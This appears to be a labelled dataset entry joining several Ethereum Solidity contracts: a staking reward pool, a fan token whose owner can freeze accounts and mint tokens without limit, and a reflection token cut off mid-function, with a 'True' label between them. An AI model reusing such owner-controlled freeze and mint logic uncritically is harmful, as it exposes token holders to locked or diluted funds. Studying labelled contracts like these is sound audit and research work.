return calculatedEarned;
}
function stakingPower(address account) public view returns (uint256) {
return accumulatedStakingPower[account].add(earned(account));
}
function stake(uint256 amount, address referrer) public updateReward(msg.sender) checkNextEpoch checkStart {
require(amount > 0, "Cannot stake 0");
require(referrer != msg.sender, "You cannot refer yourself.");
super.tokenStake(amount);
emit Staked(msg.sender, amount);
if (rewardReferral != address(0) && referrer != address(0)) {
IULUReferral(rewardReferral).setReferrer(msg.sender, referrer);
}
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkNextEpoch checkStart {
require(amount > 0, "Cannot withdraw 0");
super.tokenWithdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkNextEpoch checkStart returns (uint256) {
uint256 reward = earned(msg.sender);
if (reward > 1) {
accumulatedStakingPower[msg.sender] = accumulatedStakingPower[msg.sender].add(rewards[msg.sender]);
rewards[msg.sender] = 0;
uint256 actualPaid = reward.mul(100 - REFERRAL_COMMISSION_PERCENT).div(100); // 95%
uint256 commission = reward - actualPaid; // 5%
yfv.safeTransfer(msg.sender, actualPaid);
emit RewardPaid(msg.sender, actualPaid);
address referrer = address(0);
if (rewardReferral != address(0)) {
referrer = IULUReferral(rewardReferral).getReferrer(msg.sender);
}
if (referrer != address(0)) { // send commission to referrer
yfv.safeTransfer(referrer, commission);
emit CommissionPaid(referrer, commission);
} else {// or burn
yfv.burn(commission);
emit Burned(commission);
}
return actualPaid;
}
return 0;
}
modifier checkNextEpoch() {
if (block.timestamp >= periodFinish) {
currentEpochReward = currentEpochReward.mul(nextRewardMultiplier).div(100); // x0.00 -> x2.00
if (totalAccumulatedReward.add(currentEpochReward) > TOTAL_REWARD) {
currentEpochReward = TOTAL_REWARD.sub(totalAccumulatedReward); // limit total reward
}
if (currentEpochReward > 0) {
yfv.mint(address(this), currentEpochReward);
totalAccumulatedReward = totalAccumulatedReward.add(currentEpochReward);
currentEpoch++;
}
rewardRate = currentEpochReward.div(DURATION);
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(currentEpochReward);
}
_;
}
modifier checkStart() {
require(block.timestamp > starttime, "not start");
require(periodFinish > 0, "Pool has not started");
_;
}
function notifyRewardAmount(uint256 reward) external onlyOwner updateReward(address(0)) {
require(periodFinish == 0, "Only can call once to start staking");
currentEpochReward = reward;
if (totalAccumulatedReward.add(currentEpochReward) > TOTAL_REWARD) {
currentEpochReward = TOTAL_REWARD.sub(totalAccumulatedReward); // limit total reward
}
rewardRate = currentEpochReward.div(DURATION);
yfv.mint(address(this), currentEpochReward);
totalAccumulatedReward = totalAccumulatedReward.add(currentEpochReward);
currentEpoch++;
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(currentEpochReward);
}
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/**
*Submitted for verification at Etherscan.io on 2021-03-22
*/
pragma solidity ^0.5.0;
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Roles {
struct Role {
mapping(address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(
addedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(
subtractedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(
address from,
address to,
uint256 value
) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value
);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
/*
* approve/increaseApprove/decreaseApprove can be set when Paused state
*/
/*
* function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
* return super.approve(spender, value);
* }
*
* function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
* return super.increaseAllowance(spender, addedValue);
* }
*
* function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
* return super.decreaseAllowance(spender, subtractedValue);
* }
*/
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(
string memory name,
string memory symbol,
uint8 decimals
) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract BarrySilbertFanToken is ERC20Detailed, ERC20Pausable {
mapping(address => bool) public frozenAccount;
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozenAccount[_holder]);
_;
}
constructor() public ERC20Detailed("BarrySilbert.FanToken", "BSF", 18) {
_mint(msg.sender, 100000000 * (10**18));
}
function balanceOf(address owner) public view returns (uint256) {
return super.balanceOf(owner);
}
function transfer(address to, uint256 value)
public
notFrozen(msg.sender)
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
) public notFrozen(from) returns (bool) {
return super.transferFrom(from, to, value);
}
function freezeAccount(address holder) public onlyOwner returns (bool) {
require(!frozenAccount[holder]);
frozenAccount[holder] = true;
emit Freeze(holder);
return true;
}
function unfreezeAccount(address holder) public onlyOwner returns (bool) {
require(frozenAccount[holder]);
frozenAccount[holder] = false;
emit Unfreeze(holder);
return true;
}
function mint(uint256 _amount) public onlyOwner returns (bool) {
_mint(msg.sender, _amount);
return true;
}
function burn(uint256 _amount) public onlyOwner returns (bool) {
_burn(msg.sender, _amount);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract EVERMATIC is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tBurnTotal;
string private _name = 'EverMatic';
string private _symbol = 'EverMatic️';
uint8 private _decimals = 18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tBurnTotal = _tBurnTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
